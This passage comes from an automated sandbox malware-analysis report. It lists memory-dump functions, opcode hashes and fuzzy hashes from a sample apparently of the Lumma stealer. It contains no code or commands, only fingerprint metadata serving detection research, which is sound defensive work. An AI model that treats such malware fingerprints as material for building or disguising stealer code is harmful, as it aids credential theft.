Function 00D117BA Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: a67ba5e7b484605675108ba0ecde7cf7ec8177d95309499fcedddcef6385b202
Instruction ID: 22bed283564125edac13d05862848b4f557c62cce6cd1a1318821cb7ca4fc712
Opcode Fuzzy Hash: a67ba5e7b484605675108ba0ecde7cf7ec8177d95309499fcedddcef6385b202
Instruction Fuzzy Hash: F7B1F9396007016BDB389B64DC92BF7B7A9EF44308F18452DEA86C6581EE75E9C1CB30

Function 00D4A601 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ce19153ed0639643da00318d7ffd12ff863c8e55f35e0760110417c8f1d9f5
Instruction ID: 917e3085ff227979322265dab091e7300315a5a21fb8194b400a026ffedda3d2
Opcode Fuzzy Hash: 71ce19153ed0639643da00318d7ffd12ff863c8e55f35e0760110417c8f1d9f5
Instruction Fuzzy Hash: B19178716483118BD718DF18C891BAAB7F1EF95744F084A2DE4C28B3A1E778D906DB62

Function 00D4AA03 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9731b2e1d2cfdbb0445260fd3c00fa246372726c97902b0dd803d3a77c304301
Instruction ID: d7bb6fbf6fdf42f17916772f8976acfd440331d3dc326b990c873fa77dd72891
Opcode Fuzzy Hash: 9731b2e1d2cfdbb0445260fd3c00fa246372726c97902b0dd803d3a77c304301
Instruction Fuzzy Hash: 059189706483118BD718DF18C8A1B6AB3F2EFD6704F08492CE4C29B3A1E775D906CB92

Function 00D48B07 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 441dacf2d5da0c51fb5bf67901e88c20cf1243e2e8c1ece5868bd349176f1b51
Instruction ID: cb42a7e4b6879af0c10ddc294e66098d583d6af3f4aef0d3039d330452d5fc64
Opcode Fuzzy Hash: 441dacf2d5da0c51fb5bf67901e88c20cf1243e2e8c1ece5868bd349176f1b51
Instruction Fuzzy Hash: 446104B5A182114FC718CF28C8D062EB7E2EBC8314F1D8A3DD89697395DB34D806CBA1

Function 00D3CBAC Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d516fd6b9fb48c303230185312b36c860f61d4acb1d234b6a1f631b4ce585a8b
Instruction ID: b450ef385c69431366e89b11002e5e1f898b78211a70397f85b0219607b91636
Opcode Fuzzy Hash: d516fd6b9fb48c303230185312b36c860f61d4acb1d234b6a1f631b4ce585a8b
Instruction Fuzzy Hash: 00418FB2A183118BD725CF28C84172BB7E1FF96360F19A929F489E7350E734D844C7A2

Function 00D58DE8 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3117bd5a2ebca37929fddb7aed07ce409add34e0c600332c0d4c4df539a53e0c
Instruction ID: a661e910d05d38ed97889c9d17f169de6c5fc6ceb24e4810fe3b65042f0f6c69
Opcode Fuzzy Hash: 3117bd5a2ebca37929fddb7aed07ce409add34e0c600332c0d4c4df539a53e0c
Instruction Fuzzy Hash: 67517AB15087458FE714DF29C89075BBBE1AB84304F04492DE9E587390D779DA098F92

Function 00D28E38 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d326fe736c1178443185ee97788e6d4f659d33f1dabee90e5a8408343b24ef2
Instruction ID: 0fd932262b83bc0021f2c0dd2a692acbb987eaf68f278c4b96e487f60dafd819
Opcode Fuzzy Hash: 8d326fe736c1178443185ee97788e6d4f659d33f1dabee90e5a8408343b24ef2
Instruction Fuzzy Hash: F951B2B09052119FD704AF2AED4971BBBA1FF84318F080938F45BD26A1D731E924DBDA

Function 00D4E976 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b2d7226a65b76be1e6f2adf8acef95860c26d5877a837647ae408b5ce5a59e1
Instruction ID: f747fd5be867eaca5623932dd862ab42e1a113b9ac0d78e7879d1abc8b1b8471
Opcode Fuzzy Hash: 1b2d7226a65b76be1e6f2adf8acef95860c26d5877a837647ae408b5ce5a59e1
Instruction Fuzzy Hash: 75511E70100B918FD726CF29C4A07A6BBF5BF16344F48099DD0E78B692C776A645CB61

Function 00D470B8 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58f2f5769938ae8da7cd17ab54ec49c3e210d4626b9fcfad4d265afd3dc0b0a
Instruction ID: 529b13c755597bc533231f9e1601ebe1436a486c3ef9428b0b7397b63ecdb19d
Opcode Fuzzy Hash: e58f2f5769938ae8da7cd17ab54ec49c3e210d4626b9fcfad4d265afd3dc0b0a
Instruction Fuzzy Hash: 7341457461D201AFCB18DF18C990A2EB7E2EB8A704F59AC2CF885D7251D334DC45DB96

Function 00CFC6CD Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8a8a7ec91e37d9a4a0f3a82ba254864a38d4524d1afb6464410442bb86c2a3
Instruction ID: b8e3d2098525a61f9f45727e862b722940f6da82fea9d51deebe8f4f2c858056
Opcode Fuzzy Hash: 8c8a8a7ec91e37d9a4a0f3a82ba254864a38d4524d1afb6464410442bb86c2a3
Instruction Fuzzy Hash: E8515F71E0021DAFDF54CF99C981AEEBBB2EF88350F198059E515AB241D734AE50CBA1

Function 00D294C8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec2782ab91569e2491be423028409ed2bcc4942e8af755901934cc124570ae1b
Instruction ID: 7bb9ab8a583c0627712f3a9c97653808e4f9b86b36805d1e59d38de69b8b3a7f
Opcode Fuzzy Hash: ec2782ab91569e2491be423028409ed2bcc4942e8af755901934cc124570ae1b
Instruction Fuzzy Hash: 7341A632B082714BCB148E2DCC6027EBAD39FC5249F1EC679E8C5DB345E578D80097A4

Function 00D39368 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3973385b61571f91bbe37d7e27af25393a9b10bb19135604f6c584ad8a3a30e
Instruction ID: f8bd04014fd9b1bda8959758f0b7326056ebb3d646b211cc5691d32fbc1fd34b
Opcode Fuzzy Hash: d3973385b61571f91bbe37d7e27af25393a9b10bb19135604f6c584ad8a3a30e
Instruction Fuzzy Hash: 61414CB190C3049BD320AF94C8D077AF7D4EFA6310F094528E89947281E7F5D805C776

Function 00D34B18 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba4dff71be50f1f8bf15981cc6806eb602af8e616c047603786a6660d5f8370
Instruction ID: 751df481a076e42e4260a8350d52b1230c8162cb87ed7e994c78b108670ee70b
Opcode Fuzzy Hash: 7ba4dff71be50f1f8bf15981cc6806eb602af8e616c047603786a6660d5f8370
Instruction Fuzzy Hash: 6A41E572A187550BD3089E3DC89132AFBD2ABC5320F09C72EF4E9873D5EA78D9449791

Function 00D3C119 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d0f3ed9c6630cb581576a562948618df5ee32544b2970d8a4ae42a46a3ccc3
Instruction ID: 26f02635f67fa131b4cd9b7e6040a7ed6d0690bc565d9cd219e2c21de023e59d
Opcode Fuzzy Hash: a2d0f3ed9c6630cb581576a562948618df5ee32544b2970d8a4ae42a46a3ccc3
Instruction Fuzzy Hash: A031D0B6510311CBCB20CF68C882A6373B2FFAA350B196669D8819F3A5E734E850D774

Function 00D45FB6 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7080392f22e10e6db76d12777ca25c44730dc2ba5b15b7ca83d095cfa8b3e26d
Instruction ID: 71abba38a54e709203ad6413a7adf66c436dcc1a2112d9c63a52dbc3bc48182c
Opcode Fuzzy Hash: 7080392f22e10e6db76d12777ca25c44730dc2ba5b15b7ca83d095cfa8b3e26d
Instruction Fuzzy Hash: CC317076A043028BC324CF18C4809ABB3F6FFD9750F15892EE4D983665EB31E955CB52

Function 00D35139 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6f46b5fc1df3bf9f9c5b8d24e9208f2b95a2e46c4f6f80eca697e8b57f309c7
Instruction ID: f7449b769af8019664238f14369ce4d95e351236175028e878b8684be4596cf4
Opcode Fuzzy Hash: b6f46b5fc1df3bf9f9c5b8d24e9208f2b95a2e46c4f6f80eca697e8b57f309c7
Instruction Fuzzy Hash: 40413375200B008FCB28CF28D5A1B56B7F2FB8A704F08896DD8AA8B755DB34E805CB54

Function 00D3AD98 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29edef46600bb5635a96954a60de5dc65968b7dc53e55a1eb7181dca725c15a6
Instruction ID: eedf45ec7ce44320abae05aaa70067adcbfed819987ecbbcbedc5ce35ed3471c
Opcode Fuzzy Hash: 29edef46600bb5635a96954a60de5dc65968b7dc53e55a1eb7181dca725c15a6
Instruction Fuzzy Hash: 9D314875600B029BD725CF29C852B62B3F1FF46314F08991CE5AADBAA1E774F4A0CB54

Function 00D5F214 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46fabb0e8894c99ffb29554e03ed900735df02efa5069763454276bc1170fb1
Instruction ID: d51583223389acbb7e52c70357e8f2727b337172b2c72e1420100929ef7d365e
Opcode Fuzzy Hash: c46fabb0e8894c99ffb29554e03ed900735df02efa5069763454276bc1170fb1
Instruction Fuzzy Hash: AE21C2326405004BEB1DCF29C8B27B67A93EBC6351F1CD27DD8628F6D8D638AA064344

Function 00D48D2E Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d855d73f51a95cecc2795cb65401fba47763fcaf4699df1871fb1a1be3d4886
Instruction ID: 01037e05a4b0012974ba7f1cdc2c0b8993da8c9da4480f17ec3147d27ef31320
Opcode Fuzzy Hash: 1d855d73f51a95cecc2795cb65401fba47763fcaf4699df1871fb1a1be3d4886
Instruction Fuzzy Hash: 05216D75A082519FD728CF04C4A0A2FB7E2FFCA314F18892DE98A53741CB35AC01DB95

Function 00CF98A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: ff2d6a147b691482d94f5679abfd955ae3503ff99fe55f001f37a9f0c4708865
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 48113B7760018A43DE948A2EC4F4BB6D795EBC7320F2D437AC3674B698C27297459502

Function 00D3B189 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4e01fea41f659f17f429df964cd96dbc5bc1c8b5ee07684c1c94f13f56f4f5
Instruction ID: 6790613bd36569ad41fae6504740e3980b4dc6bc018530a36075f7757815c3a9
Opcode Fuzzy Hash: fe4e01fea41f659f17f429df964cd96dbc5bc1c8b5ee07684c1c94f13f56f4f5
Instruction Fuzzy Hash: 1A116DB95147018BC729CF28C8D1766B7E6FF9A310F182A1DC6A687390E7B1B440CB68

Function 00D574E8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 2780b9670741e9eae2d20bc63579f6f22f9f2649fd4c616e227560f8ec9ad1be
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 2311A332A091D40AC7168D3C9400569BFA21B93636F7D43A9ECB59B2D6E622CD8E8360

Function 00D4B2B8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a58c27bc4d49a052ad9519527fb09509db08553a316f37344635e0a16c403e
Instruction ID: 98715339f70f73436ee63c30461473c829186dce49d8528bb00adce3e0799dc6
Opcode Fuzzy Hash: 02a58c27bc4d49a052ad9519527fb09509db08553a316f37344635e0a16c403e
Instruction Fuzzy Hash: 8701BCF260030157EB20AE96D4C4B3BB3A8AFB1724F0C493DE8085B201EBB1EC0497B5

Function 00D36A03 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4682fc88b69a412321f401d158eb0b5cb115ab5b4f795c341fedc9b2407164
Instruction ID: 902096fcfad1012e1f800bd77daf95e61e83b686ac81d282548945a95b51005e
Opcode Fuzzy Hash: cd4682fc88b69a412321f401d158eb0b5cb115ab5b4f795c341fedc9b2407164
Instruction Fuzzy Hash: FB111C75640B008FC728CF14D4A1B56B7E2EB4A304F19996CD49ACBB61C734F905CB54

Function 00D3A54D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
